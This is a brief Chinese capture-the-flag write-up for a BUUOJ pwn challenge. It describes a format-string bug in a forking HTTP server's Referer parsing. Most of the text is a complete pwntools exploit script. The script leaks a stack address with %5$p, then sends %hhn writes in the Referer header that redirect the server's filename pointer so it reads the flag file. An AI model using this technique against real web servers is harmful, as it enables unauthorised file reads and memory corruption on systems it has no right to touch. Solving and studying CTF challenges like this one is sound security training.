首先,检查一下程序的保护机制
然后,我们用IDA分析一下,在referer字段的解析里存在格式化字符串漏洞,由于是主进程fork子进程,因此,我们泄露的数据第二次不会改变仍然可以使用。
那么,我们利用格式化字符串漏洞,将文件名指针修改指向我们可控的地址,这样就可以读取我们想要的文件了。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43
| from pwn import *
ip = 'node3.buuoj.cn' port = 28726 sh = remote(ip,port)
payload = 'GET /index.html HTTP/1.1\r\n' payload += 'Referer: %5$p\r\n\r\n' sh.send(payload) sh.recvuntil('Referer: ') name_addr = int(sh.recvuntil('\n',drop = True),16) print 'name_addr=',hex(name_addr) sh.close()
sh = remote(ip,port)
flag_str = name_addr - 0xA98 data = {0:0} i = 0 flag_str = flag_str & 0xFFFF while flag_str >0: data[i] = flag_str & 0xFF flag_str = flag_str >> 8 i = i + 1 data = sorted(data.items(), key=lambda d:d[1]) pay = '' prev = 9 for x in data: print x[0],x[1] pay += '%' + str(x[1]-prev) + 'c%' + str(18+x[0]) + '$hhn' prev = x[1] pay = pay.ljust(47,'b') pay += p64(name_addr - 0xB10) pay += p64(name_addr - 0xB0F) pay += 'flag\x00'
payload = 'GET /index.html HTTP/1.1\r\n' payload += 'Referer: {}\r\n\r\n'.format(pay) sh.send(payload)
sh.interactive()
|